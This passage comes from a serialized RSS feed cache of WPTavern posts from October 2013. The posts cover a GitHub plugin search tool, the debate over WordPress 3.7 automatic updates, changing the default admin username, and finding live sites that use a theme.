href=\&quot;https://github.com/\&quot; target=\&quot;_blank\&quot;&gt;github&lt;/a&gt;. Many developers choose not to place their plugins on WordPress.org for one reason or another, but this makes their code less convenient for others to find. Using a plugin from github traditionally requires you to visit github, search for the plugin, download the zip file and upload it to your site to install.&lt;/p&gt;\n&lt;h3&gt;An Easier Way to Find and Install WordPress Plugins Hosted on github&lt;/h3&gt;\n&lt;p&gt;&lt;a href=\&quot;http://pdclark.com/\&quot; target=\&quot;_blank\&quot;&gt;Paul Clark&lt;/a&gt; has created a plugin called &lt;a href=\&quot;https://github.com/brainstormmedia/github-plugin-search\&quot; target=\&quot;_blank\&quot;&gt;Github Plugin Search&lt;/a&gt; that will allow you to access and install WordPress plugins directly from your dashboard. He found a way to connect the &lt;a href=\&quot;http://developer.github.com/v3/search/\&quot; target=\&quot;_blank\&quot;&gt;github code search API&lt;/a&gt; to the WordPress plugin installer API. Here&amp;#8217;s a quick demo of how this works:&lt;span id=\&quot;more-10037\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;span class=\&quot;embed-youtube\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;How does the plugin detect WordPress plugins hosted on github?&lt;/h3&gt;\n&lt;p&gt;Intrigued by the idea, I tested the plugin and checked in with Paul to find out how the plugin is able to detect WordPress plugins hosted on github. He replied:&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;Github&amp;#8217;s code search API is fairly new (like&amp;#8230; it&amp;#8217;s still in preview. You have to send a special header just to access it.). They don&amp;#8217;t *exactly* provide enough power in their search to truly query for WordPress plugins or to aggressively search the contents of each individual plugin.&lt;/p&gt;\n&lt;p&gt;To get around their limitations (limits on number of queries, no ability to match exact text like &amp;#8220;Plugin Name&amp;#8221;), I&amp;#8217;m using a combination of two searches, comparing the results, and then filtering down to repositories I&amp;#8217;m confident are installable WordPress plugins.&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;Paul outlined three requirements a repository must meet in order to be found by his github search plugin:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Be a PHP file&lt;/li&gt;\n&lt;li&gt;Be in the top level of the repository&lt;/li&gt;\n&lt;li&gt;Have a comment block at the top of the file that matches a WordPress plugin header, with &amp;#8220;Plugin Name:&amp;#8221; and &amp;#8220;Plugin URI:&amp;#8221; in a comment block at the top. (This plugin header format is pretty unique — no other PHP systems I know of follow the same format.)&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Right now, the plugin full-on replaces the search with results from github. It&amp;#8217;s not such a big deal because of the github wp-plugins mirror, but Paul would like to add an option to toggle between wordpress.org and github results in the future. &lt;/p&gt;\n&lt;div id=\&quot;attachment_10561\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/example-results.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/example-results.jpg?resize=560%2C388\&quot; alt=\&quot;Example results from searching github\&quot; class=\&quot;size-full wp-image-10561\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Example results from searching github&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Currently, the results returned are very basic, but Paul said that this is due to working within the confines of the API in preview:&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;When the Github API comes out of preview, I expect to be able to make results more accurate. Right now, logged in users can only make 20 queries every few minutes. All their other APIs allow 5000. I expect they&amp;#8217;ll change it over when it&amp;#8217;s final. When they do, the plugin could go crazy getting exact details on plugin files, running checks, and providing richer data from the readme and screenshots.&lt;/p&gt;&lt;/blockquote&gt;\n&lt;h3&gt;How Can Users Get Updates For New Stable Versions of Plugins Hosted on github?&lt;/h3&gt;\n&lt;p&gt;I asked Paul if users would still be able to get updates for their plugins if they install from github. This is imperative, because a user wouldn&amp;#8217;t want to unknowingly exclude himself from future updates. &amp;#8220;The WordPress update API works based on the plugin name, not the source,&amp;#8221; Paul explained. &amp;#8220;So, if a user were to *install* wp-seo from Github right now, updates from wordpress.org would still work.&amp;#8221; &lt;/p&gt;\n&lt;p&gt;Paul wrote a plugin a year or so ago that updates plugins from Github, Bitbucket, or generic Git repositories (public or private), if the URL is mentioned in the plugin header. It works nicely for him on client sites but in the current version of the Github Plugin Search he has it turned off. He outlines his concerns and the reasons why: &lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;In the current update plugin, the Git URL is set in the header. If all plugins are going to update, I need to generate and store that information for each plugin installed.&lt;/li&gt;\n&lt;li&gt;The current updater updates when a new version is tagged in Github. Many WordPress developers aren&amp;#8217;t in the habit of doing that (it&amp;#8217;s the Git way of marking a new version, not the WordPress way), so to work with all plugins, I&amp;#8217;d need to modify it to get the version number from the remote readme file. It&amp;#8217;s possible to do that, just takes some time.&lt;/li&gt;\n&lt;li&gt;If the update system is going to be replaced, users should also probably get a user interface to show them which plugins that&amp;#8217;s happening for, and allow them to enable or disable it. There&amp;#8217;s no reason, other than time, that those concerns couldn&amp;#8217;t be resolved in the future.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;The Future of Github Plugin Search&lt;/h3&gt;\n&lt;p&gt;So as you can see, the plugin is still a work in progress but a very solid proof of concept so far. Paul plans to continue improvements to the plugin. In the future he may add in the fork and star count for the github repos in order to provide more data for users when selecting plugins. He&amp;#8217;s created a list of &lt;a href=\&quot;https://github.com/brainstormmedia/github-plugin-search/issues?labels=enhancement&amp;page=1&amp;state=open\&quot; target=\&quot;_blank\&quot;&gt;enhancements&lt;/a&gt; that may come further down the road.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;d like to fork the Github Search Plugin or suggest changes, check it out on &lt;a href=\&quot;https://github.com/brainstormmedia/github-plugin-search\&quot; target=\&quot;_blank\&quot;&gt;github&lt;/a&gt; or get in touch with Paul via &lt;a href=\&quot;https://twitter.com/pdclark\&quot; target=\&quot;_blank\&quot;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/tRC1n_fg3jk\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 18:31:45 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:39;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;WPTavern: WordPress Automatic Updates – No Options For You!\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10527\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:108:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/rVDGIkXIPyc/wordpress-automatic-updates-no-options-for-you\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8074:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/WordPress37Schedule.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/WordPress37Schedule.jpg?resize=215%2C179\&quot; alt=\&quot;WordPress 3.7 Development Schedule\&quot; class=\&quot;alignright size-full wp-image-10528\&quot; /&gt;&lt;/a&gt;Now that WordPress 3.7 is out in the wild and has already &lt;a href=\&quot;http://wordpress.org/download/counter/\&quot; title=\&quot;http://wordpress.org/download/counter/\&quot;&gt;accumulated over 1.5 million downloads&lt;/a&gt;, the complaints are starting to roll in concerning the automatic update feature. On the Make.WordPress.core website where Andrew Nacin &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/\&quot; title=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/\&quot;&gt;published a great guide&lt;/a&gt; on the different ways of configuring auto updates, users &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/#comment-10923\&quot; title=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/#comment-10923\&quot;&gt;started questioning&lt;/a&gt; why there wasn&amp;#8217;t an option in the back-end to either opt-out of auto updates or to configure how they operate. &lt;span id=\&quot;more-10527\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The answer to that question is simple as pointed out by Andrew Nacin.&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;For the betterment of the web, we made a conscious decision to avoid a UI option. You’d be out of your mind to consciously avoid updating to fix a critical bug or security issue. We think the vast majority of users (many who don’t even know what PHP is) will celebrate this as a win in usability and security.&lt;/p&gt;\n&lt;p&gt;We very strongly pride in our &lt;a href=\&quot;http://wordpress.org/about/philosophy/\&quot; title=\&quot;http://wordpress.org/about/philosophy/\&quot;&gt;core philosophies&lt;/a&gt;, including designing for the majority, making WordPress work out of the box with little configuration or setup, choosing decisions instead of adding options, and striving for simplicity. (Incidentally, that last section needs updating to emphasize we’ve now made updates even simpler.)\n&lt;/p&gt;&lt;/blockquote&gt;\n&lt;h3&gt;No Auto Updates For Desktop Software But Enabled For WordPress&lt;/h3&gt;\n&lt;p&gt;I don&amp;#8217;t have a single piece of software on my desktop or notebook that has been configured to automatically update itself. Instead, I always make sure I&amp;#8217;m notified before any updates are to be installed. I usually review the changelog and then update as needed. With WordPress however, I&amp;#8217;m willing to allow auto updates for minor and security releases to be enabled for two reasons. The first is that this site is constantly being backed up by &lt;a href=\&quot;http://vaultpress.com/\&quot; title=\&quot;http://vaultpress.com/\&quot;&gt;VaultPress&lt;/a&gt;. I&amp;#8217;m not worried if the site breaks during or after an upgrade. The second, I&amp;#8217;ve rarely ever had a problem with WordPress upgrades.&lt;/p&gt;\n&lt;h3&gt;There Are No Guarantees&lt;/h3&gt;\n&lt;p&gt;The same concerns that were brought up when automatic updates were announced are still being voiced. The biggest concern users have is not being able to easily go back to a working version of WordPress should something break. At the crux of this particular concern is that automatic updates prevent people from creating backups immediately before the update process. The update process has &lt;strong&gt;failsafe&lt;/strong&gt; after &lt;strong&gt;failsafe&lt;/strong&gt; to prevent catastrophes from happening but there is no guarantee. By default in WordPress 3.7 and above, the only updates that will happen automatically are minor and security releases. Although they have different names, these releases can sometimes be the same thing. Andrew Nacin &lt;a href=\&quot;http://www.wptavern.com/how-to-configure-automatic-core-updates-for-wordpress-3-7#comment-48104\&quot; title=\&quot;http://www.wptavern.com/how-to-configure-automatic-core-updates-for-wordpress-3-7#comment-48104\&quot;&gt;explained the differences&lt;/a&gt;.  &lt;/p&gt;\n&lt;p&gt;It&amp;#8217;s been stressed that these minor and security updates rarely break anything dealing with the core of WordPress. However, sometimes these minor changes cause a plugin or theme to break. Rarely doesn&amp;#8217;t mean never. It&amp;#8217;s this slight possibility of a site breaking that has prevented people from jumping on board to support the feature. &lt;/p&gt;\n&lt;h3&gt;How To Make Upgrading Less Fearful&lt;/h3&gt;\n&lt;p&gt;The best article I&amp;#8217;ve read so far on this topic is from Mika Epstein entitled, &lt;a href=\&quot;http://halfelf.org/2013/dont-fear-the-auto-update/\&quot; title=\&quot;http://halfelf.org/2013/dont-fear-the-auto-update/\&quot;&gt;Don&amp;#8217;t Fear The Auto Update&lt;/a&gt;. While she doesn&amp;#8217;t dismiss the fact that a site can break during an auto update, she provides a number of great tips that you can use so that upgrading is less of a frightful experience.&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;Yes, it’s defaulted to “on” because after intensive testing, and careful thought, WordPress core devs are pretty darn sure that these minor updates, which are more often than not security related, will not break a site. I’ll get back to breaking sites in a second. The point is that minor updates were picked specifically because it’s known that major upgrades can often break things.&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;If every time you upgrade WordPress, your site breaks, please follow her advice and do a plugin/theme audit.&lt;/p&gt;\n&lt;h3&gt;My Thoughts&lt;/h3&gt;\n&lt;p&gt;Normally, I&amp;#8217;d be in support of adding an option to allow users to configure how auto updates work. In this case however, I understand the big picture. With WordPress being used on 20% of the web, the team owes it to the web in general to help users as best they can, keep their sites up to date. This tweet by Andrew Nacin is a good example of the big picture.&lt;/p&gt;\n&lt;blockquote class=\&quot;twitter-tweet\&quot; width=\&quot;550\&quot;&gt;&lt;p&gt;It will take a while to feel the true effects of WordPress 3.7. # sites running secure versions will go up. # localized installs will go up.&lt;/p&gt;\n&lt;p&gt;&amp;mdash; Andrew Nacin (@nacin) &lt;a href=\&quot;https://twitter.com/nacin/statuses/393255192617312256\&quot;&gt;October 24, 2013&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;p&gt;The concerns raised are warranted and it only takes one experience of an auto update breaking a site to ruin things. Meanwhile, there were over 100,000 auto updates applied during the WordPress 3.7 testing period and not a single one of them failed according to Andrew Nacin.&lt;/p&gt;\n&lt;blockquote class=\&quot;twitter-tweet\&quot; width=\&quot;550\&quot;&gt;&lt;p&gt;We ended the WordPress 3.7 beta cycle with 112,434 automatic background updates attempted and not a single critical failure.&lt;/p&gt;\n&lt;p&gt;&amp;mdash; Andrew Nacin (@nacin) &lt;a href=\&quot;https://twitter.com/nacin/statuses/393547010801803264\&quot;&gt;October 25, 2013&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;p&gt;Many of the terrible scenarios discussed are hypothetical situations. I say we give 3.7 and 3.7.1 some time and let&amp;#8217;s see if auto updates do more harm than good. After 3.7.1 is released, WordPress.org will have a lot of useful data which I hope the team shares with everyone. &lt;/p&gt;\n&lt;h3&gt;Update Control Gives You All The Automatic Update Options You Need&lt;/h3&gt;\n&lt;p&gt;If you are looking for a plugin that adds options to the WordPress back-end to easily configure how auto updates work, check out &lt;a href=\&quot;http://wordpress.org/plugins/update-control/\&quot; title=\&quot;http://wordpress.org/plugins/update-control/\&quot;&gt;Update Control&lt;/a&gt;. This plugin provides all of the auto update options you could ever want! No need to hack WP-Config or use constants. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/autoupdateoptions.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/autoupdateoptions.jpg?resize=300%2C288\&quot; alt=\&quot;Auto Update Plugin Options\&quot; class=\&quot;aligncenter size-medium wp-image-10546\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I can&amp;#8217;t wait to revisit this topic after the release of 3.7.1. By then, the core team will have some real world data to analyze. &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/rVDGIkXIPyc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 17:30:05 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:40;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;WPTavern: Changing The WordPress Admin Username During Installation\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10500\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:107:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/fKUQvr6kSnY/change-the-admin-username-during-installation\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3326:\&quot;&lt;p&gt;One of the &lt;a href=\&quot;http://www.dailyblogtips.com/wordpress-security-tip-remove-the-admin-user/\&quot; title=\&quot;http://www.dailyblogtips.com/wordpress-security-tip-remove-the-admin-user/\&quot;&gt;security tips&lt;/a&gt; you&amp;#8217;ll come across often is immediately deleting the admin user after installation and creating a new user, then assigning that user the administrator role. This is something I wish the core team would address so that during the installation of WordPress, users would be able to choose their own username and select a strong password without having to go back and delete the initial admin account. &lt;span id=\&quot;more-10500\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Something New Learned At My WordPress Meetup&lt;/h3&gt;\n&lt;p&gt;While attending my &lt;a href=\&quot;http://www.meetup.com/NEOWordPress/\&quot; title=\&quot;http://www.meetup.com/NEOWordPress/\&quot;&gt;local WordPress meetup&lt;/a&gt;, one of the new WordPress users in attendance mentioned the security tip of deleting the administrator account that is created during installation and creating a new user account that is then assigned the administrator role. The idea being that hackers try to login with admin as the username and then try multiple different passwords. I had mentioned that it would be great if WordPress enabled users to make this change during installation instead of having to do it after the fact. &lt;/p&gt;\n&lt;h3&gt;Turns Out You Can&lt;/h3&gt;\n&lt;p&gt;I discovered during a brand new WordPress 3.7 install that users were able to change the default username from admin, to something else. This is the first time I&amp;#8217;ve installed WordPress in a long time which is why I didn&amp;#8217;t know this change already took place. It also didn&amp;#8217;t dawn on me because people are still sharing the security tip I mentioned above. This combination of the enhanced password strength meter and the ability to change the default admin user name during install saves new WordPress installation admins from having to go through a security step that has been preached about for years. As it turns out, users have been able to change the default username of admin for a number of versions. Based on research I conducted, this change has been in place since at least version 3.0. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/WordPress3.0.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/WordPress3.0.jpg?resize=500%2C219\&quot; alt=\&quot;WordPress 3 point 0\&quot; class=\&quot;aligncenter size-large wp-image-10502\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h3&gt;Why Are We Still Preaching This Security Tip?&lt;/h3&gt;\n&lt;p&gt;With that being the case, why have so many fresh installs decided to use admin as the default username? Why do we continue to preach the security  tip of immediately deleting admin and replacing it with a different username? One of the suggestions at my local meetup was to not auto fill the username field with admin and instead, force new installers to create their own unique username. This sounds like a good suggestion to me. When we tried to do a fresh install of WordPress 3.6.1 to see what would happen, &lt;strong&gt;admin&lt;/strong&gt; was automatically filled in for the username. It seems to me that making this simple change would make WordPress installs that much more secure right out of the gate. &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/fKUQvr6kSnY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 16:00:40 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:41;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;WPTavern: How To Find Live Examples Of Sites Using A WordPress Theme\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10496\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:110:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/u8aPo48AZcE/how-to-find-live-examples-of-sites-using-a-theme\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2287:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/07/WPShoutLogo.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/07/WPShoutLogo.png?resize=300%2C51\&quot; alt=\&quot;WP Shout Logo\&quot; class=\&quot;alignright size-medium wp-image-7662\&quot; /&gt;&lt;/a&gt;&lt;a href=\&quot;http://wpshout.com/how-to-find-live-examples-of-just-about-any-wordpress-theme/\&quot; title=\&quot;http://wpshout.com/how-to-find-live-examples-of-just-about-any-wordpress-theme/\&quot;&gt;WPShout.com has a great article&lt;/a&gt; that explains how to easily find websites that are using the theme you&amp;#8217;re thinking about buying or using. One of the first things I try to do before downloading or purchasing a theme is to find actual websites that are using the design. While some theme companies have a showcase area highlighting these sites, most of them do not. Using the technique shared by WPShout, I was able to discover this neat looking child theme of &lt;a href=\&quot;http://twentythirteendemo.wordpress.com/\&quot; title=\&quot;http://twentythirteendemo.wordpress.com/\&quot;&gt;TwentyThirteen&lt;/a&gt;.&lt;span id=\&quot;more-10496\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/TwentyThirteenChildTheme.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/TwentyThirteenChildTheme.jpg?resize=500%2C262\&quot; alt=\&quot;Twenty Thirteen Child Theme\&quot; class=\&quot;aligncenter size-large wp-image-10497\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;According to WPShout, it&amp;#8217;s as simple as a Google search. Simply type in &lt;em&gt;&amp;#8220;wp-content/themes/[theme-name]&amp;#8220;&lt;/em&gt; ,quotation marks and all, and look for a search result that looks like a PHP scripting error. WPShout explains that Google sometimes indexes these errors which is why the name of the theme shows up in search results. I&amp;#8217;ll let you read the article to figure out the secondary way of viewing live sites with themes you&amp;#8217;re interested in but I thought this was an ingenious way of finding them. It will still take a little work on the user&amp;#8217;s part to find the sites using the theme they are looking for, but this is a good stepping stone towards finding them. If nothing else, it enables you to see some PHP fatal error messages.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/u8aPo48AZcE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 13:30:08 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:42;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	